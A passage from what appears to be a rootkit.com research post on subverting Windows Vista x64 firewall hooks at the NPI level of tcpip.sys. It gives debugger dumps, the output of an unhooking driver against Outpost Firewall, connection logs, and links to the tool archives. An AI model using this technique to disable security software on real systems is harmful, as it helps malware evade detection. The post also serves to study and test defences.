TcpTlProviderConnectDispatch: 0x8824A938 CloseEndpoint: 0x881E4543 (0x881E4543 real) IoControlEndpoint: 0x881E01ED (0x881E01ED real) QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real) Send: 0x8820E188 (0x8820E188 real) ...
Try the x64 version of the firewall (Outpost Firewall Pro 2008 v6.0). Prior tries:
kd> dq TcpTlProviderConnectDispatch fffffa60`00f83278 fffffa60`026e2a9c fffffa60`00ec60e0 fffffa60`00f83288 fffffa60`00ee23cc fffffa60`026e3d30 fffffa60`00f83298 fffffa60`026e3ac4 fffffa60`026e4710
kd> u fffffa60`026e2a9c *** ERROR: Module load completed but symbols could not be loaded for afw.sys afw+0xda9c: fffffa60`026e2a9c 48895c2408 mov qword ptr [rsp+8],rbx fffffa60`026e2aa1 55 push rbp fffffa60`026e2aa2 56 push rsi fffffa60`026e2aa3 57 push rdi fffffa60`026e2aa4 4883ec50 sub rsp,50h fffffa60`026e2aa8 488b0559e70200 mov rax,qword ptr [afw+0x3c208 (fffffa60`02711208)] fffffa60`026e2aaf 488bf1 mov rsi,rcx fffffa60`026e2ab2 bd010000c0 mov ebp,0C0000001h
kd> u fffffa60`026e3d30 afw+0xed30: fffffa60`026e3d30 48895c2408 mov qword ptr [rsp+8],rbx fffffa60`026e3d35 48896c2410 mov qword ptr [rsp+10h],rbp fffffa60`026e3d3a 4889742420 mov qword ptr [rsp+20h],rsi fffffa60`026e3d3f 57 push rdi fffffa60`026e3d40 4883ec50 sub rsp,50h fffffa60`026e3d44 48833dd4d4020000 cmp qword ptr [afw+0x3c220 (fffffa60`02711220)],0 fffffa60`026e3d4c 488bfa mov rdi,rdx fffffa60`026e3d4f 488bd9 mov rbx,rcx
kd> dq RawTlProviderMessageDispatch fffffa60`00f82e08 fffffa60`026e7d04 fffffa60`00e70000 fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860
kd> u fffffa60`026e7d04 afw+0x12d04: fffffa60`026e7d04 48895c2408 mov qword ptr [rsp+8],rbx fffffa60`026e7d09 48896c2410 mov qword ptr [rsp+10h],rbp fffffa60`026e7d0e 56 push rsi fffffa60`026e7d0f 57 push rdi fffffa60`026e7d10 4154 push r12 fffffa60`026e7d12 4883ec20 sub rsp,20h fffffa60`026e7d16 4c8bc1 mov r8,rcx fffffa60`026e7d19 4c8bca mov r9,rdx
Run npisubvert.sys:
TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000
TcpTlProviderDispatch: 0xFFFFFA6000F83200 IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real) Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys
TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240 CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278 CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys
TcpTlProviderListenDispatch: 0xFFFFFA6000F83258 CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)
UdpTlProviderDispatch: 0xFFFFFA6000F82F70 IoControl: 0xFFFFFA6000F2CC10 (0xFFFFFA6000F2CC10 real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E6108 (0xFFFFFA6000ECC850 real) HOOKED by afw.sys Message: 0xFFFFFA60026E70EC (0xFFFFFA6000EC7D40 real) HOOKED by afw.sys Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real) ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real) Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)
UdpTlProviderEndpointDispatch: 0xFFFFFA6000F82FB0 CloseEndpoint: 0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
UdpTlProviderMessageDispatch: 0xFFFFFA6000F82FC8 CloseEndpoint: 0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) SendMessages: 0xFFFFFA60026E68C0 (0xFFFFFA6000EACE60 real) HOOKED by afw.sys
RawTlProviderDispatch: 0xFFFFFA6000F82DB0 IoControl: 0xFFFFFA6000EE23FC (0xFFFFFA6000EE23FC real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E76FC (0xFFFFFA6000E6D190 real) HOOKED by afw.sys Message: 0xFFFFFA60026E7E4C (0xFFFFFA6000E6CFE0 real) HOOKED by afw.sys Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real) ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real) Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)
RawTlProviderEndpointDispatch: 0xFFFFFA6000F82DF0 CloseEndpoint: 0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
RawTlProviderMessageDispatch: 0xFFFFFA6000F82E08 CloseEndpoint: 0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) SendMessages: 0xFFFFFA6000E84860 (0xFFFFFA6000E84860 real)
There must be no any hooks already:
kd> dq RawTlProviderMessageDispatch fffffa60`00f82e08 fffffa60`00f74170 fffffa60`00e70000 fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860
kd> u fffffa60`00f74170 tcpip!RawTlProviderCloseEndpoint: fffffa60`00f74170 e99beaffff jmp tcpip!RawCloseEndpoint (fffffa60`00f72c10)
kd> dq TcpTlProviderConnectDispatch fffffa60`00f83278 fffffa60`00ec93e0 fffffa60`00ec60e0 fffffa60`00f83288 fffffa60`00ee23cc fffffa60`00ed51a0 fffffa60`00f83298 fffffa60`00ec0270 fffffa60`00ec8f40
kd> u fffffa60`00ec93e0 tcpip!TcpTlConnectionCloseEndpoint: fffffa60`00ec93e0 4883ec28 sub rsp,28h fffffa60`00ec93e4 e867ffffff call tcpip!TcpCloseTcb (fffffa60`00ec9350) fffffa60`00ec93e9 b803010000 mov eax,103h fffffa60`00ec93ee 4883c428 add rsp,28h fffffa60`00ec93f2 c3 ret
NPI subverting technique works well. We’re going to make some extra experiment – we’ll try to run wsksample.sys with an active Outpost. The Outpost’s window showes immediately. Block it for several times and here are the logs:
MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC0000001 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC0000001 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC0000001
Yep, that’s how it should be – the firewall blocks the wsksample.sys. Run npisubvert.sys:
TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000
TcpTlProviderDispatch: 0xFFFFFA6000F83200 IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real) QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real) Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real) Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys
TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240 CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278 CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys
TcpTlProviderListenDispatch: 0xFFFFFA6000F83258 CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real) QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real) ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real) ...
The NPI hooks have been cleaned successfully ...
MakeHttpRequest(): WskConnect() failed with status 0xC0000001 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5 MakeHttpRequest(): Connecting to the 74.125.45.100:80... MakeHttpRequest(): WskConnect() failed with status 0xC00000B5
The error 0xC0000001 (STATUS_UNSUCCESSFUL) occurs when the firewall blocks the application’s call right from the NPI level. The error 0xC00000B5 (STATUS_IO_TIMEOUT) occurs because the TCP/IP stack has been waiting for really long time and didn’t establish a connection. tcpip.sys sends the SYN packet to the network driver and awaits for the SYN+ACK reply. But it blocks by the second firewall’s part placed on NDIS. The firewall’s window won’t be shown anymore because the firewall cannot intercept any applications’ calls. In other words you cannot bypass the firewalls completely by using NPI unhooking only. BTW, the firewalls based on NDIS v6, which was introduced in Windows Vista, are much easier to unhook and bypass. Maybe it’s going to be a reason for a new article or reverse engineering research. Have fun! ;) Sources: wsksample: http://www.rootkit.com/vault/MaD./wsksample.rar echoserv: http://www.rootkit.com/vault/MaD./echoserv.rar npisubvert: http://www.rootkit.com/vault/MaD./npisubvert.rar #rootkit @ irc.EFNet.net MaD
. . . |
| |
ROOTKITS, Subverting the Windows Kernel
By: Greg Hoglund and Jamie Butler
Rootkits are powerful tools to compromise computer systems without detection. Get the original and best book on the subject here.
|
active for last 5 minutes
registered users:79912
There are currently 0 registered users and 19 guests browsing the website.
Welcome our latest registered user: Pris
| Jul 31, 12:06 |
| May 09, 04:30 |
| May 08, 15:33 |
| May 04, 15:42 |
| May 02, 03:59 |
| Best Screenshots / Analog |
| the most active news users |
based on the number of news posts for last 30 days
|